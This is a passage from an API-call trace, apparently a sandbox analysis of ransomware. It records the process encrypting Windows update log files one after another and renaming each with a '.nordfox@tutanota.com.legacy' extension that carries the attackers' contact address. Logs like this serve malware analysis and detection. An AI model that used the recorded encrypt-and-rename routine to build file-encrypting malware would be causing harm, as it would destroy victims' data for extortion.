lpBuffer=0x5c4638*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4638*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.053] WriteFile (in: hFile=0x694, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.053] CloseHandle (hObject=0x694) returned 1 [0117.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4638 | out: hHeap=0x520000) returned 1 [0117.053] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3428 | out: hHeap=0x520000) returned 1 [0117.053] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.008.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.008.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.008.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.055] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0117.055] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e70c8 | out: hHeap=0x520000) returned 1 [0117.055] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e74f0 | out: hHeap=0x520000) returned 1 [0117.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7588 [0117.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0117.055] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3518 [0117.055] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3f00 | out: pbBuffer=0x5c3f00) returned 1 [0117.055] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0117.055] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl", dwFileAttributes=0x80) returned 1 [0117.056] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e74f0 [0117.056] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0117.056] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e74f0 | out: hHeap=0x520000) returned 1 [0117.056] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.007.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.056] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12288) returned 1 [0117.056] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x60dbe8 [0117.056] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x610bf0 [0117.057] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0117.063] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.064] WriteFile (in: hFile=0x694, lpBuffer=0x610bf0*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0117.064] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.064] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610bf0 | out: hHeap=0x520000) returned 1 [0117.064] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3000 [0117.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.064] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3f00*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.065] WriteFile (in: hFile=0x694, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.065] WriteFile (in: hFile=0x694, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.065] CloseHandle (hObject=0x694) returned 1 [0117.065] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0117.065] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3518 | out: hHeap=0x520000) returned 1 [0117.065] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.007.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.007.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.007.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.069] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0117.069] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7588 | out: hHeap=0x520000) returned 1 [0117.069] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e73c0 | out: hHeap=0x520000) returned 1 [0117.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7160 [0117.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0117.070] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.070] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0117.070] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl", dwFileAttributes=0x80) returned 1 [0117.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6c08 [0117.070] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0117.070] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6c08 | out: hHeap=0x520000) returned 1 [0117.070] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.006.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.071] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.071] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.071] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.072] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.072] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.073] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.073] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.073] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.073] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.073] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.074] WriteFile (in: hFile=0x694, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.074] CloseHandle (hObject=0x694) returned 1 [0117.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.074] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0117.074] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.006.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.006.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.006.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0117.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7160 | out: hHeap=0x520000) returned 1 [0117.076] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7030 | out: hHeap=0x520000) returned 1 [0117.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7588 [0117.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.076] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0117.076] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.076] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0117.076] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl", dwFileAttributes=0x80) returned 1 [0117.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6f00 [0117.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0117.077] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6f00 | out: hHeap=0x520000) returned 1 [0117.077] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.005.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.077] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4096) returned 1 [0117.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x605cd8 [0117.077] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1000) returned 0x5feca0 [0117.077] ReadFile (in: hFile=0x694, lpBuffer=0x605cd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x605cd8*, lpNumberOfBytesRead=0x2e1f9bc*=0x1000, lpOverlapped=0x0) returned 1 [0117.078] SetFilePointer (in: hFile=0x694, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.079] WriteFile (in: hFile=0x694, lpBuffer=0x5feca0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5feca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1000, lpOverlapped=0x0) returned 1 [0117.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x605cd8 | out: hHeap=0x520000) returned 1 [0117.079] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5feca0 | out: hHeap=0x520000) returned 1 [0117.079] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1000 [0117.079] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.079] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.080] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.080] WriteFile (in: hFile=0x694, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.080] CloseHandle (hObject=0x694) returned 1 [0117.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.080] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0117.080] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.005.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.005.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.005.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0117.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7588 | out: hHeap=0x520000) returned 1 [0117.082] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7458 | out: hHeap=0x520000) returned 1 [0117.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7290 [0117.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.082] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3548 [0117.082] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.082] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3548 | out: pbBuffer=0x5c3548) returned 1 [0117.083] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl", dwFileAttributes=0x80) returned 1 [0117.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e73c0 [0117.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0117.083] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e73c0 | out: hHeap=0x520000) returned 1 [0117.083] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.004.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.083] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=12288) returned 1 [0117.083] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x60dbe8 [0117.084] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x3000) returned 0x610bf0 [0117.084] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x3000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0117.085] SetFilePointer (in: hFile=0x694, lDistanceToMove=-12288, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.085] WriteFile (in: hFile=0x694, lpBuffer=0x610bf0*, nNumberOfBytesToWrite=0x3000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x610bf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x3000, lpOverlapped=0x0) returned 1 [0117.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.085] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610bf0 | out: hHeap=0x520000) returned 1 [0117.085] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x3000 [0117.085] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.086] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.086] WriteFile (in: hFile=0x694, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.086] WriteFile (in: hFile=0x694, lpBuffer=0x5c3548*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3548*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.086] CloseHandle (hObject=0x694) returned 1 [0117.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0117.087] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3548 | out: hHeap=0x520000) returned 1 [0117.087] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.004.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.004.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.004.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0117.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7290 | out: hHeap=0x520000) returned 1 [0117.088] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7620 | out: hHeap=0x520000) returned 1 [0117.088] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e73c0 [0117.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0117.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34c8 [0117.089] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4428 | out: pbBuffer=0x5c4428) returned 1 [0117.089] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0117.089] SetFileAttributesW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl", dwFileAttributes=0x80) returned 1 [0117.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6878 [0117.089] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0117.089] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6878 | out: hHeap=0x520000) returned 1 [0117.090] CreateFileW (lpFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.003.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x694 [0117.090] GetFileSizeEx (in: hFile=0x694, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0117.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60dbe8 [0117.090] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x2000) returned 0x60fbf0 [0117.090] ReadFile (in: hFile=0x694, lpBuffer=0x60dbe8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60dbe8*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.098] SetFilePointer (in: hFile=0x694, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.098] WriteFile (in: hFile=0x694, lpBuffer=0x60fbf0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x60fbf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0117.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60dbe8 | out: hHeap=0x520000) returned 1 [0117.098] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60fbf0 | out: hHeap=0x520000) returned 1 [0117.098] SetFilePointer (in: hFile=0x694, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0117.099] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0117.099] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4428*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0117.099] WriteFile (in: hFile=0x694, lpBuffer=0x5c4428*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0117.099] WriteFile (in: hFile=0x694, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0117.099] CloseHandle (hObject=0x694) returned 1 [0117.100] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0117.100] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34c8 | out: hHeap=0x520000) returned 1 [0117.100] MoveFileExW (lpExistingFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.003.etl"), lpNewFileName="\\Users\\All Users\\USOShared\\Logs\\UpdateSessionOrchestration.003.etl.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\usoshared\\logs\\updatesessionorchestration.003.etl.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0117.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0117.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e73c0 | out: hHeap=0x520000) returned 1 [0117.102] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6dd0 | out: hHeap=0x520000) returned 1 [0117.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e6910 [0117.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0117.102] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3538 [0117.102] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0117.102] 